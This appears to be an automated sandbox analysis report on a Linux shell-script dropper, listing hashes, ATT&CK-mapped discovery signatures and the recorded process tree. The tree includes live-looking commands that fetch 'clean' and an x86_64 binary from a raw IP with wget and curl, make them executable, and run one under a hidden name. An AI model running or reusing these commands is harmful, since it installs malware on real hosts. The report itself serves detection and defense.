7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
25s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/06/2026, 00:51

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General

Target
sh
Size 2KB
Sample260620-a7ksaady21
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1523	chmod
1534	chmod

Reads AppArmor ptrace settings 1 TTPs 1 IoCs

Discovery of allowed ptrace capabilities by AppArmor.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/security/apparmor/features/ptrace	find

Enumerates running processes
Discovers information about currently running processes on the system

Reads hardware information 1 TTPs 1 IoCs

Accesses system info like serial numbers, manufacturer names etc.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/power	find

Reads network interface configuration 2 TTPs 12 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/statistics	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/power	find
File opened for reading	/sys/devices/pci0000:00/0000:00:03.0/net/ens3/queues	find

Reads CPU attributes 1 TTPs 20 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index2/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3	find
File opened for reading	/sys/devices/system/cpu/cpuidle	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index0	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index1/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/smt	find
File opened for reading	/sys/devices/system/cpu/vulnerabilities	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache/index3/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/cache	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/bus/scsi/devices	find
File opened for reading	/sys/module/mousedev/parameters	find
File opened for reading	/sys/kernel/slab/:a-0000128/cgroup	find
File opened for reading	/sys/kernel/debug/tracing/events/net/netif_rx_ni_entry	find
File opened for reading	/sys/class/rapidio_port	find
File opened for reading	/sys/devices/pci0000:00/0000:00:01.1/ata2/ata_port/ata2	find
File opened for reading	/sys/devices/virtual/misc/hw_random/power	find
File opened for reading	/sys/kernel/debug/tracing/events/fib/fib_table_lookup	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_end	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fanotify_mark	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setns	find
File opened for reading	/sys/bus/pci/devices	find
File opened for reading	/sys/kernel/slab/inode_cache/cgroup	find
File opened for reading	/sys/kernel/debug/virtio-ports	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fstatfs	find
File opened for reading	/sys/module/sch_fq_codel/holders	find
File opened for reading	/sys/devices/virtual/tty/tty21/power	find
File opened for reading	/sys/devices/virtual/block/loop3/slaves	find
File opened for reading	/sys/kernel/debug/tracing/events/msr/rdpmc	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_dup2	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata8/link8/dev8.0	find
File opened for reading	/sys/module/mac_hid	find
File opened for reading	/sys/module/hid_generic/holders	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_memcg_reclaim_end	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_bpf	find
File opened for reading	/sys/fs/cgroup/pids/user.slice/user-0.slice/[email protected]/gvfs-daemon.service	find
File opened for reading	/sys/bus/pci/slots/11	find
File opened for reading	/sys/bus/i2c/drivers/tps6586x	find
File opened for reading	/sys/module/ata_generic/drivers	find
File opened for reading	/sys/kernel/slab/:a-0000048/cgroup	find
File opened for reading	/sys/kernel/debug/tracing/events/spi/spi_message_start	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_process_free	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice/user-0.slice	find
File opened for reading	/sys/fs/cgroup/unified/user.slice/user-0.slice/[email protected]/gvfs-daemon.service	find
File opened for reading	/sys/kernel/mm/hugepages	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_setparam	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0f/power	find
File opened for reading	/sys/firmware/acpi/tables/dynamic	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_stat_runtime	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sendto	find
File opened for reading	/sys/module/parport_pc/parameters	find
File opened for reading	/sys/module/ppdev/drivers	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXPWRBN:00/input/input0/event0	find
File opened for reading	/sys/module/pcbc/notes	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_rename	find
File opened for reading	/sys/kernel/debug/ras	find
File opened for reading	/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/DADY0002:00	find
File opened for reading	/sys/module/libahci/notes	find
File opened for reading	/sys/devices/virtual/tty/ptmx/power	find
File opened for reading	/sys/module/fuse	find
File opened for reading	/sys/module/ttm/holders	find
File opened for reading	/sys/module/pata_acpi	find
File opened for reading	/sys/kernel/debug/tracing/events/jbd2/jbd2_handle_start	find
File opened for reading	/sys/class/i2c-adapter	find
File opened for reading	/sys/fs/cgroup/systemd/user.slice/user-0.slice/[email protected]/gnome-terminal-server.service	find
File opened for reading	/sys/kernel/slab/:a-0000016/cgroup	find
File opened for reading	/sys/devices/platform/floppy.0/block/fd0/queue	find
File opened for reading	/sys/module/psmouse/holders	find
File opened for reading	/sys/class/ppp	find
File opened for reading	/sys/devices/pci0000:00/0000:00:04.0/ata5/host4	find
File opened for reading	/sys/fs/cgroup/unified/user.slice/user-0.slice/[email protected]/at-spi-dbus-bus.service	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_vmscan_kswapd_wake	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_prctl	find
File opened for reading	/sys/devices/system/machinecheck/machinecheck0/power	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/36/attr/apparmor	find
File opened for reading	/proc/473/net/dev_snmp6	find
File opened for reading	/proc/910/task/911/net/netfilter	find
File opened for reading	/proc/991/map_files	find
File opened for reading	/proc/166/task/166/net/netfilter	find
File opened for reading	/proc/541/task/541/attr/selinux	find
File opened for reading	/proc/1069/task/1074/attr/smack	find
File opened for reading	/proc/1144/task/1145/fd	find
File opened for reading	/proc/irq/29	find
File opened for reading	/proc/634/task/639/attr	find
File opened for reading	/proc/716/task/917/attr/smack	find
File opened for reading	/proc/907/task/907/attr/apparmor	find
File opened for reading	/proc/943/task/958/attr	find
File opened for reading	/proc/1049/task/1114/attr/apparmor	find
File opened for reading	/proc/1090/task/1131/attr/smack	find
File opened for reading	/proc/203/fdinfo	find
File opened for reading	/proc/542/task/547/net/stat	find
File opened for reading	/proc/27/task	find
File opened for reading	/proc/1163/net/dev_snmp6	find
File opened for reading	/proc/1456/task/1463	find
File opened for reading	/proc/451/task/451/net	find
File opened for reading	/proc/650/task	find
File opened for reading	/proc/910/task/911	find
File opened for reading	/proc/1097/task/1125/net/netfilter	find
File opened for reading	/proc/634/task/639/ns	find
File opened for reading	/proc/658/task/676/attr	find
File opened for reading	/proc/163/net/dev_snmp6	find
File opened for reading	/proc/660/fd	find
File opened for reading	/proc/169/attr/apparmor	find
File opened for reading	/proc/499/fdinfo	find
File opened for reading	/proc/1313/task/1314/attr/smack	find
File opened for reading	/proc/34/task/34/ns	find
File opened for reading	/proc/115/net/stat	find
File opened for reading	/proc/164/map_files	find
File opened for reading	/proc/716/task/917/attr	find
File opened for reading	/proc/1456/attr	find
File opened for reading	/proc/5/attr/apparmor	find
File opened for reading	/proc/168/net/netfilter	find
File opened for reading	/proc/976/task/976/net/stat	find
File opened for reading	/proc/1095/task/1139/fdinfo	find
File opened for reading	/proc/79/attr	find
File opened for reading	/proc/203/task/203/ns	find
File opened for reading	/proc/1045/attr	find
File opened for reading	/proc/1057/task/1063/net/stat	find
File opened for reading	/proc/1091/task	find
File opened for reading	/proc/13/map_files	find
File opened for reading	/proc/27/task/27/net	find
File opened for reading	/proc/472/task/472/net	find
File opened for reading	/proc/1040/task/1041/attr/smack	find
File opened for reading	/proc/1066/task/1083/attr	find
File opened for reading	/proc/1069/task/1077/attr/apparmor	find
File opened for reading	/proc/1295/task/1319/net/netfilter	find
File opened for reading	/proc/35/task/35/attr/apparmor	find
File opened for reading	/proc/1091/task/1091	find
File opened for reading	/proc/1092/task/1092/attr/smack	find
File opened for reading	/proc/1097/task/1097/net	find
File opened for reading	/proc/80/task/80/fdinfo	find
File opened for reading	/proc/499/task/499/fd	find
File opened for reading	/proc/943/task/945/net/dev_snmp6	find
File opened for reading	/proc/78/task/78/net/netfilter	find
File opened for reading	/proc/1144/task/1145	find
File opened for reading	/proc/1493/net/netfilter	find
File opened for reading	/proc/78/attr/smack	find
File opened for reading	/proc/495/task/495	find

/tmp/sh
/tmp/sh
1⤵
PID:1488
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1492
- /bin/grep
  grep noexec
  2⤵
  PID:1491
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:1490
- /usr/bin/whoami
  whoami
  2⤵
  PID:1495
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/unified -not -path "/sys/fs/cgroup/unified/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/pstore -not -path "/sys/fs/pstore/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/hugetlb -not -path "/sys/fs/cgroup/hugetlb/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/rdma -not -path "/sys/fs/cgroup/rdma/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
  2⤵
  - Reads AppArmor ptrace settings
  - Reads hardware information
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:1496
- /bin/uname
  uname -mp
  2⤵
  PID:1505
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:1510
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:1509
- /usr/bin/expr
  expr 29173 "%" 32 + 4
  2⤵
  PID:1511
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:1514
- /usr/bin/head
  head -c 25
  2⤵
  PID:1515
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:1513
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:1516
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:1518
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:1519
- /bin/rm
  rm -rf clean
  2⤵
  PID:1520
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:1521
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  PID:1522
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /bin/sh
  sh clean
  2⤵
  PID:1524
- /bin/rm
  rm -rf clean
  2⤵
  PID:1525
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:1526
- /bin/rm
  rm -rf .b1ZqW6SHbIwCGDWl0Tp5yjPAh
  2⤵
  PID:1527
- /bin/grep
  grep -q x86_64
  2⤵
  PID:1529
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:1530
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/x86_64
  2⤵
  PID:1531
- /usr/bin/curl
  curl -skO https://217.60.195.113/x86_64
  2⤵
  PID:1532
- /bin/mv
  mv x86_64 .b1ZqW6SHbIwCGDWl0Tp5yjPAh
  2⤵
  PID:1533
- /bin/chmod
  chmod +x .b1ZqW6SHbIwCGDWl0Tp5yjPAh
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /.b1ZqW6SHbIwCGDWl0Tp5yjPAh
  ./.b1ZqW6SHbIwCGDWl0Tp5yjPAh
  2⤵
  PID:1535

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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